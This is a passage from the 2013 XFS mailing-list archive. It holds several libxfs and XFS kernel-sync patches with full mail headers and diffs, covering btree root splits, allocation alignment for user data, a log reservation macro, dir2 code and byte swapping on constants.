3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5671F8018 for ; Fri, 19 Jul 2013 01:45:35 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id E9472AC001 for ; Thu, 18 Jul 2013 23:45:34 -0700 (PDT) X-ASG-Debug-ID: 1374216331-04cb6c2a47ed6690002-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id wOoeCXh82FV58IeP for ; Thu, 18 Jul 2013 23:45:33 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQUnLzMIGDE5AxsZiA+2I45ygTqDZgOpKoMkKg Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:29 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RS-0004I8-Lj for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RS-0002JR-Kx for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 05/49] libxfs: ensure btree root split sets blkno correctly Date: Fri, 19 Jul 2013 16:44:40 +1000 X-ASG-Orig-Subj: [PATCH 05/49] libxfs: ensure btree root split sets blkno correctly Message-Id: <1374216324-8781-6-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216333 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner For CRC enabled filesystems, the BMBT is rooted in an inode, so it passes through a difference code path on root splits to the freespace and inode btrees. The inode based btree root has a corruption problem on split - it's the same problem we saw in the directory/attr code where headers are memcpy()d from one block to another without updating the self describing metadata. Simple fix - when copying the header out of the root block, make sure the block number is updated correctly. Signed-off-by: Dave Chinner --- libxfs/xfs_btree.c | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/libxfs/xfs_btree.c b/libxfs/xfs_btree.c index b11131c..3ac3330 100644 --- a/libxfs/xfs_btree.c +++ b/libxfs/xfs_btree.c @@ -2487,7 +2487,17 @@ xfs_btree_new_iroot( if (error) goto error0; + /* + * we can't just memcpy() the root in for CRC enabled btree blocks. + * In that case have to also ensure the blkno remains correct + */ memcpy(cblock, block, xfs_btree_block_len(cur)); + if (cur->bc_flags & XFS_BTREE_CRC_BLOCKS) { + if (cur->bc_flags & XFS_BTREE_LONG_PTRS) + cblock->bb_u.l.bb_blkno = cpu_to_be64(cbp->b_bn); + else + cblock->bb_u.s.bb_blkno = cpu_to_be64(cbp->b_bn); + } be16_add_cpu(&block->bb_level, 1); xfs_btree_set_numrecs(block, 1); -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:45:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 211AD8015 for ; Fri, 19 Jul 2013 01:45:35 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id A6282AC010 for ; Thu, 18 Jul 2013 23:45:34 -0700 (PDT) X-ASG-Debug-ID: 1374216332-04cb6c2a42ed6690001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id zCxSB4SsP1KXe9ds for ; Thu, 18 Jul 2013 23:45:32 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQUnLzMIGDE5AxsZiA+2I45yhSADoX+HK4MkKg Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:29 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RS-0004IE-NC for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RS-0002Jg-M8 for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 08/49] libxfs: update xfs_alloc to current kernel version Date: Fri, 19 Jul 2013 16:44:43 +1000 X-ASG-Orig-Subj: [PATCH 08/49] libxfs: update xfs_alloc to current kernel version Message-Id: <1374216324-8781-9-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216332 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Signed-off-by: Dave Chinner --- libxfs/xfs_alloc.c | 31 +++++++++++++++++++------------ 1 file changed, 19 insertions(+), 12 deletions(-) diff --git a/libxfs/xfs_alloc.c b/libxfs/xfs_alloc.c index 1d7ea8f..757b43d 100644 --- a/libxfs/xfs_alloc.c +++ b/libxfs/xfs_alloc.c @@ -153,6 +153,7 @@ xfs_alloc_compute_diff( xfs_agblock_t wantbno, /* target starting block */ xfs_extlen_t wantlen, /* target length */ xfs_extlen_t alignment, /* target alignment */ + char userdata, /* are we allocating data? */ xfs_agblock_t freebno, /* freespace's starting block */ xfs_extlen_t freelen, /* freespace's length */ xfs_agblock_t *newbnop) /* result: best start block from free */ @@ -167,7 +168,14 @@ xfs_alloc_compute_diff( ASSERT(freelen >= wantlen); freeend = freebno + freelen; wantend = wantbno + wantlen; - if (freebno >= wantbno) { + /* + * We want to allocate from the start of a free extent if it is past + * the desired block or if we are allocating user data and the free + * extent is before desired block. The second case is there to allow + * for contiguous allocation from the remaining free space if the file + * grows in the short term. + */ + if (freebno >= wantbno || (userdata && freeend < wantend)) { if ((newbno1 = roundup(freebno, alignment)) >= freeend) newbno1 = NULLAGBLOCK; } else if (freeend >= wantend && alignment > 1) { @@ -783,7 +791,8 @@ xfs_alloc_find_best_extent( xfs_alloc_fix_len(args); sdiff = xfs_alloc_compute_diff(args->agbno, args->len, - args->alignment, *sbnoa, + args->alignment, + args->userdata, *sbnoa, *slena, &new); /* @@ -954,7 +963,8 @@ restart: if (args->len < blen) continue; ltdiff = xfs_alloc_compute_diff(args->agbno, args->len, - args->alignment, ltbnoa, ltlena, <new); + args->alignment, args->userdata, ltbnoa, + ltlena, <new); if (ltnew != NULLAGBLOCK && (args->len > blen || ltdiff < bdiff)) { bdiff = ltdiff; @@ -1106,7 +1116,8 @@ restart: args->len = XFS_EXTLEN_MIN(ltlena, args->maxlen); xfs_alloc_fix_len(args); ltdiff = xfs_alloc_compute_diff(args->agbno, args->len, - args->alignment, ltbnoa, ltlena, <new); + args->alignment, args->userdata, ltbnoa, + ltlena, <new); error = xfs_alloc_find_best_extent(args, &bno_cur_lt, &bno_cur_gt, @@ -1122,7 +1133,8 @@ restart: args->len = XFS_EXTLEN_MIN(gtlena, args->maxlen); xfs_alloc_fix_len(args); gtdiff = xfs_alloc_compute_diff(args->agbno, args->len, - args->alignment, gtbnoa, gtlena, >new); + args->alignment, args->userdata, gtbnoa, + gtlena, >new); error = xfs_alloc_find_best_extent(args, &bno_cur_gt, &bno_cur_lt, @@ -1181,7 +1193,7 @@ restart: } rlen = args->len; (void)xfs_alloc_compute_diff(args->agbno, rlen, args->alignment, - ltbnoa, ltlena, <new); + args->userdata, ltbnoa, ltlena, <new); ASSERT(ltnew >= ltbno); ASSERT(ltnew + rlen <= ltbnoa + ltlena); ASSERT(ltnew + rlen <= be32_to_cpu(XFS_BUF_TO_AGF(args->agbp)->agf_length)); @@ -2173,13 +2185,8 @@ xfs_agf_verify( struct xfs_agf *agf = XFS_BUF_TO_AGF(bp); if (xfs_sb_version_hascrc(&mp->m_sb) && - !uuid_equal(&agf->agf_uuid, &mp->m_sb.sb_uuid)) { - char uu[64], uu2[64]; - platform_uuid_unparse(&agf->agf_uuid, uu); - platform_uuid_unparse(&mp->m_sb.sb_uuid, uu2); - + !uuid_equal(&agf->agf_uuid, &mp->m_sb.sb_uuid)) return false; - } if (!(agf->agf_magicnum == cpu_to_be32(XFS_AGF_MAGIC) && XFS_AGF_GOOD_VERSION(be32_to_cpu(agf->agf_versionnum)) && -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:45:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1CD64801A for ; Fri, 19 Jul 2013 01:45:36 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0E059304053 for ; Thu, 18 Jul 2013 23:45:35 -0700 (PDT) X-ASG-Debug-ID: 1374216330-04cbb0468f117d540004-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id mY2dcOXxOBcJ8jEI for ; Thu, 18 Jul 2013 23:45:34 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQUnLzMIGDE5AxsZiA+2I45LJ4E6g2YDoX+HK4MkKoEs Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:31 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RT-0004Jd-FT for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RT-0002MV-EK for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 43/49] xfs: Make writeid transaction use tr_writeid Date: Fri, 19 Jul 2013 16:45:18 +1000 X-ASG-Orig-Subj: [PATCH 43/49] xfs: Make writeid transaction use tr_writeid Message-Id: <1374216324-8781-44-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216334 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu tr_writeid is defined at mp->m_resv structure, however, it does not really being used when it should be.. This patch changes it to tr_writeid to fetch the correct log reservation size. Signed-off-by: Jie Liu Signed-off-by: Dave Chinner --- include/xfs_trans_resv.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/include/xfs_trans_resv.h b/include/xfs_trans_resv.h index 326f17d..b8d5666 100644 --- a/include/xfs_trans_resv.h +++ b/include/xfs_trans_resv.h @@ -111,7 +111,7 @@ struct xfs_trans_resv { * as long as SWRITE logs the entire inode core */ #define XFS_FSYNC_TS_LOG_RES(mp) ((mp)->m_resv.tr_fsyncts.tr_logres) -#define XFS_WRITEID_LOG_RES(mp) ((mp)->m_resv.tr_swrite.tr_logres) +#define XFS_WRITEID_LOG_RES(mp) ((mp)->m_resv.tr_writeid.tr_logres) #define XFS_ADDAFORK_LOG_RES(mp) ((mp)->m_resv.tr_addafork.tr_logres) #define XFS_ATTRSETM_LOG_RES(mp) ((mp)->m_resv.tr_attrsetm.tr_logres) #define XFS_ATTRINVAL_LOG_RES(mp) ((mp)->m_resv.tr_attrinval.tr_logres) -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:45:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BAA088019 for ; Fri, 19 Jul 2013 01:45:35 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3BDE9AC011 for ; Thu, 18 Jul 2013 23:45:35 -0700 (PDT) X-ASG-Debug-ID: 1374216330-04cbb0468f117d540003-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id IUVFMIZ8eyqK0uAA for ; Thu, 18 Jul 2013 23:45:33 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApocAMLf6FF5LK4r/2dsb2JhbABagwY1rQ0ClAIEgRUXdIIkAQEFJy8zCBgxOQMbGYgPtiOOcoUgA5kGkCSDJCo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:29 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RS-0004IJ-OI for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RS-0002Jq-NN for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 10/49] libxfs: sync dir2 kernel differences Date: Fri, 19 Jul 2013 16:44:45 +1000 X-ASG-Orig-Subj: [PATCH 10/49] libxfs: sync dir2 kernel differences Message-Id: <1374216324-8781-11-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216332 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Signed-off-by: Dave Chinner --- libxfs/xfs_dir2.c | 45 +++++++++++++++++++++++++++++++++++++++++++++ libxfs/xfs_dir2_data.c | 20 ++++++++++---------- libxfs/xfs_dir2_leaf.c | 4 ++-- libxfs/xfs_dir2_node.c | 30 ++++++++++++++---------------- 4 files changed, 71 insertions(+), 28 deletions(-) diff --git a/libxfs/xfs_dir2.c b/libxfs/xfs_dir2.c index 6a4027f..830fe3e 100644 --- a/libxfs/xfs_dir2.c +++ b/libxfs/xfs_dir2.c @@ -392,6 +392,51 @@ xfs_dir_replace( } /* + * See if this entry can be added to the directory without allocating space. + * First checks that the caller couldn't reserve enough space (resblks = 0). + */ +int +xfs_dir_canenter( + xfs_trans_t *tp, + xfs_inode_t *dp, + struct xfs_name *name, /* name of entry to add */ + uint resblks) +{ + xfs_da_args_t args; + int rval; + int v; /* type-checking value */ + + if (resblks) + return 0; + + ASSERT(S_ISDIR(dp->i_d.di_mode)); + + memset(&args, 0, sizeof(xfs_da_args_t)); + args.name = name->name; + args.namelen = name->len; + args.hashval = dp->i_mount->m_dirnameops->hashname(name); + args.dp = dp; + args.whichfork = XFS_DATA_FORK; + args.trans = tp; + args.op_flags = XFS_DA_OP_JUSTCHECK | XFS_DA_OP_ADDNAME | + XFS_DA_OP_OKNOENT; + + if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) + rval = xfs_dir2_sf_addname(&args); + else if ((rval = xfs_dir2_isblock(tp, dp, &v))) + return rval; + else if (v) + rval = xfs_dir2_block_addname(&args); + else if ((rval = xfs_dir2_isleaf(tp, dp, &v))) + return rval; + else if (v) + rval = xfs_dir2_leaf_addname(&args); + else + rval = xfs_dir2_node_addname(&args); + return rval; +} + +/* * Utility routines. */ diff --git a/libxfs/xfs_dir2_data.c b/libxfs/xfs_dir2_data.c index 155352c..064ddb2 100644 --- a/libxfs/xfs_dir2_data.c +++ b/libxfs/xfs_dir2_data.c @@ -53,15 +53,15 @@ __xfs_dir3_data_check( bf = xfs_dir3_data_bestfree_p(hdr); p = (char *)xfs_dir3_data_entry_p(hdr); - switch (be32_to_cpu(hdr->magic)) { - case XFS_DIR2_BLOCK_MAGIC: - case XFS_DIR3_BLOCK_MAGIC: + switch (hdr->magic) { + case cpu_to_be32(XFS_DIR3_BLOCK_MAGIC): + case cpu_to_be32(XFS_DIR2_BLOCK_MAGIC): btp = xfs_dir2_block_tail_p(mp, hdr); lep = xfs_dir2_block_leaf_p(btp); endp = (char *)lep; break; - case XFS_DIR2_DATA_MAGIC: - case XFS_DIR3_DATA_MAGIC: + case cpu_to_be32(XFS_DIR3_DATA_MAGIC): + case cpu_to_be32(XFS_DIR2_DATA_MAGIC): endp = (char *)hdr + mp->m_dirblksize; break; default: @@ -209,14 +209,14 @@ xfs_dir3_data_reada_verify( struct xfs_mount *mp = bp->b_target->bt_mount; struct xfs_dir2_data_hdr *hdr = bp->b_addr; - switch (be32_to_cpu(hdr->magic)) { - case XFS_DIR2_BLOCK_MAGIC: - case XFS_DIR3_BLOCK_MAGIC: + switch (hdr->magic) { + case cpu_to_be32(XFS_DIR2_BLOCK_MAGIC): + case cpu_to_be32(XFS_DIR3_BLOCK_MAGIC): bp->b_ops = &xfs_dir3_block_buf_ops; bp->b_ops->verify_read(bp); return; - case XFS_DIR2_DATA_MAGIC: - case XFS_DIR3_DATA_MAGIC: + case cpu_to_be32(XFS_DIR2_DATA_MAGIC): + case cpu_to_be32(XFS_DIR3_DATA_MAGIC): xfs_dir3_data_verify(bp); return; default: diff --git a/libxfs/xfs_dir2_leaf.c b/libxfs/xfs_dir2_leaf.c index a287bb1..8c20b9e 100644 --- a/libxfs/xfs_dir2_leaf.c +++ b/libxfs/xfs_dir2_leaf.c @@ -247,14 +247,14 @@ xfs_dir3_leaf1_write_verify( __write_verify(bp, XFS_DIR2_LEAF1_MAGIC); } -void +static void xfs_dir3_leafn_read_verify( struct xfs_buf *bp) { __read_verify(bp, XFS_DIR2_LEAFN_MAGIC); } -void +static void xfs_dir3_leafn_write_verify( struct xfs_buf *bp) { diff --git a/libxfs/xfs_dir2_node.c b/libxfs/xfs_dir2_node.c index bdce1b3..222f08c 100644 --- a/libxfs/xfs_dir2_node.c +++ b/libxfs/xfs_dir2_node.c @@ -257,7 +257,6 @@ xfs_dir3_free_get_buf( hdr3->hdr.blkno = cpu_to_be64(bp->b_bn); hdr3->hdr.owner = cpu_to_be64(dp->i_ino); uuid_copy(&hdr3->hdr.uuid, &mp->m_sb.sb_uuid); - } else hdr.magic = XFS_DIR2_FREE_MAGIC; xfs_dir3_free_hdr_to_disk(bp->b_addr, &hdr); @@ -978,7 +977,7 @@ xfs_dir2_leafn_rebalance( xfs_dir2_leaf_t *leaf1; /* first leaf structure */ xfs_dir2_leaf_t *leaf2; /* second leaf structure */ int mid; /* midpoint leaf index */ -#ifdef DEBUG +#if defined(DEBUG) || defined(XFS_WARN) int oldstale; /* old count of stale leaves */ #endif int oldsum; /* old total leaf count */ @@ -1007,7 +1006,7 @@ xfs_dir2_leafn_rebalance( ents2 = xfs_dir3_leaf_ents_p(leaf2); oldsum = hdr1.count + hdr2.count; -#ifdef DEBUG +#if defined(DEBUG) || defined(XFS_WARN) oldstale = hdr1.stale + hdr2.stale; #endif mid = oldsum >> 1; @@ -1101,7 +1100,6 @@ xfs_dir3_data_block_free( __be16 *bests; struct xfs_dir3_icfree_hdr freehdr; - xfs_dir3_free_hdr_from_disk(&freehdr, free); bests = xfs_dir3_free_bests_p(tp->t_mountp, free); @@ -1115,12 +1113,14 @@ xfs_dir3_data_block_free( return 0; } - /* - * One less used entry in the free table. Unused is not converted - * because we only need to know if it zero - */ + /* One less used entry in the free table. */ freehdr.nused--; + /* + * If this was the last entry in the table, we can trim the table size + * back. There might be other entries at the end referring to + * non-existent data blocks, get those too. + */ if (findex == freehdr.nvalid - 1) { int i; /* free entry index */ @@ -1159,7 +1159,6 @@ xfs_dir3_data_block_free( */ } - /* Log the free entry that changed, unless we got rid of it. */ if (logfree) xfs_dir2_free_log_bests(tp, fbp, findex, findex); @@ -1275,9 +1274,8 @@ xfs_dir2_leafn_remove( { struct xfs_dir3_icfree_hdr freehdr; xfs_dir3_free_hdr_from_disk(&freehdr, free); - ASSERT(freehdr.firstdb == - xfs_dir3_free_max_bests(mp) * - (fdb - XFS_DIR2_FREE_FIRSTDB(mp))); + ASSERT(freehdr.firstdb == xfs_dir3_free_max_bests(mp) * + (fdb - XFS_DIR2_FREE_FIRSTDB(mp))); } #endif /* @@ -1425,7 +1423,7 @@ xfs_dir2_leafn_toosmall( leaf = blk->bp->b_addr; xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); ents = xfs_dir3_leaf_ents_p(leaf); - xfs_dir3_leaf_check(mp, blk->bp); + xfs_dir3_leaf_check(state->args->dp->i_mount, blk->bp); count = leafhdr.count - leafhdr.stale; bytes = xfs_dir3_leaf_hdr_size(leaf) + count * sizeof(ents[0]); @@ -1795,9 +1793,9 @@ xfs_dir2_node_addname_int( /* * Look at the current free entry. Is it good enough? * - * The bests initialisation should be wher eteh bufer is read in + * The bests initialisation should be where the bufer is read in * the above branch. But gcc is too stupid to realise that bests - * iand the freehdr are actually initialised if they are placed + * and the freehdr are actually initialised if they are placed * there, so we have to do it here to avoid warnings. Blech. */ bests = xfs_dir3_free_bests_p(mp, free); @@ -1863,7 +1861,7 @@ xfs_dir2_node_addname_int( * If there wasn't a freespace block, the read will * return a NULL fbp. Allocate and initialize a new one. */ - if(!fbp) { + if (!fbp) { error = xfs_dir2_grow_inode(args, XFS_DIR2_FREE_SPACE, &fbno); if (error) -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:45:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 47BC48021 for ; Fri, 19 Jul 2013 01:45:37 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 98EB9AC001 for ; Thu, 18 Jul 2013 23:45:36 -0700 (PDT) X-ASG-Debug-ID: 1374216332-04cb6c2a42ed6690002-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id nMrESH6oRWQwmkwD for ; Thu, 18 Jul 2013 23:45:34 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArwLAMLf6FF5LK4r/2dsb2JhbABagwbBRgQBgRQXdIIkAQEFJy8zCBgxOQMbGYgPtiOOcoEYhAgDqSqDJCo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:29 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RS-0004I9-M4 for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RS-0002JW-LJ for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 06/49] libxfs: fix byte swapping on constants Date: Fri, 19 Jul 2013 16:44:41 +1000 X-ASG-Orig-Subj: [PATCH 06/49] libxfs: fix byte swapping on constants Message-Id: <1374216324-8781-7-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216333 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The kernel code uses cpu_to_beXX() on constants in switch() statements for magic numbers in the btree code. Th ebyte swapping infratructure isn't hooked up to the proper byte swap macros to make this work, so fix it and then swap all the generic btree code over to match the kernel code. Signed-off-by: Dave Chinner --- include/swab.h | 6 +++--- libxfs/xfs_alloc_btree.c | 23 ++++++++++++++--------- libxfs/xfs_bmap_btree.c | 14 ++++++-------- libxfs/xfs_ialloc_btree.c | 16 +++++++++++----- 4 files changed, 34 insertions(+), 25 deletions(-) diff --git a/include/swab.h b/include/swab.h index 3de44d8..b06346c 100644 --- a/include/swab.h +++ b/include/swab.h @@ -96,15 +96,15 @@ */ # define __swab16(x) \ (__builtin_constant_p((__u16)(x)) ? \ - ___swab16((x)) : \ + ___constant_swab16((x)) : \ __fswab16((x))) # define __swab32(x) \ (__builtin_constant_p((__u32)(x)) ? \ - ___swab32((x)) : \ + ___constant_swab32((x)) : \ __fswab32((x))) # define __swab64(x) \ (__builtin_constant_p((__u64)(x)) ? \ - ___swab64((x)) : \ + ___constant_swab64((x)) : \ __fswab64((x))) diff --git a/libxfs/xfs_alloc_btree.c 